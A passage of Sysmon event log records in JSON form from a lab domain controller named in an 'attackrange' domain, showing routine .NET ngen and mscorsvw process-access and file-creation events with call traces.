C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:23.010","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4256-5F2D-0000-001025BE0900}","TargetProcessId":"2228","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6463,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:23.057\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4257-5F2D-0000-001092C10900}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:23.057","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4257-5F2D-0000-001092C10900}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6464,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:23.057\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4257-5F2D-0000-001092C10900}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:23.057","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4257-5F2D-0000-001092C10900}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6465,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:23.092\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4257-5F2D-0000-001092C10900}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:23.092","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4257-5F2D-0000-001092C10900}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6466,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:23.228\r\nProcessGuid: {90617006-4257-5F2D-0000-001092C10900}\r\nProcessId: 4944\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1350-0\\System.ServiceProcess.dll\r\nCreationUtcTime: 2020-08-07 12:00:23.228","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:23.228","ProcessGuid":"{90617006-4257-5F2D-0000-001092C10900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1350-0\\System.ServiceProcess.dll","CreationUtcTime":"2020-08-07 12:00:23.228","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6467,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:23.260\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4257-5F2D-0000-00102BC50900}\r\nTargetProcessId: 1520\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:23.260","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4257-5F2D-0000-00102BC50900}","TargetProcessId":"1520","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6468,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:23.260\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4257-5F2D-0000-00102BC50900}\r\nTargetProcessId: 1520\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:23.260","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4257-5F2D-0000-00102BC50900}","TargetProcessId":"1520","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6469,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:23.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4257-5F2D-0000-00102BC50900}\r\nTargetProcessId: 1520\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:23.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4257-5F2D-0000-00102BC50900}","TargetProcessId":"1520","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6470,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:23.338\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4257-5F2D-0000-001090C80900}\r\nTargetProcessId: 2592\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:23.338","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4257-5F2D-0000-001090C80900}","TargetProcessId":"2592","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 